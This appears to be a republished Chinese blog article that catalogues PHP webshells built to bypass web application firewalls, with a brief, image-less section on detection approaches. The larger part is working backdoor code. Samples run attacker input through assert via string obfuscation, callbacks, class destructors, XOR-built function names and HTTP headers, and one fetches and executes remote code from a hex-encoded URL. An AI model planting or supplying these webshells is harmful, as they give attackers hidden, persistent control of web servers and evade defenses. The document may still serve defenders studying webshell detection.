這篇文章主要介紹PHP中waf webshell的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
常見繞過WAF的PHP webshell
字符串變形
大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾
<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>
ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()自寫函數
利用 assert()
<?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>回調函數
<?php call_user_func(assert,array($_POST[x])); ?> call_user_func_array() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive() forward_static_call_array()
類
利用魔術方法、析構函數 __destruct() , __construct()
<?php
class test
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new test;
$b->a = $_POST['x'];
?>利用外部文件
利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>無字符特征馬
編碼、異或、自增
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>特殊請求頭
利用 getallheaders()
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>全局變量
利用 getenv() , arrag_flip() , get_defined_vars() , session_id()
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.contentPHP混淆加解密
以phpjiami為例
就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。具體可訪問: https://www.phpjiami.com/
PHP webshell檢測方法
目前我所了解的webshell檢測方式有:
機器學習檢測webshell:比如混淆度、最長單詞、重合指數、特征、壓縮比等
動態檢測(沙箱)
基于流量模式檢測webshell:agent
逆向算法+靜態匹配檢測webshell:比如D盾webshell查殺
根據文件入度出度來檢測
實例展示
這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。
簡單檢測思路
檢測思路:
文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── semantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── ...
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
conf中包含的是諸如下列的靜態檢測規則

以上是“PHP中waf webshell的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。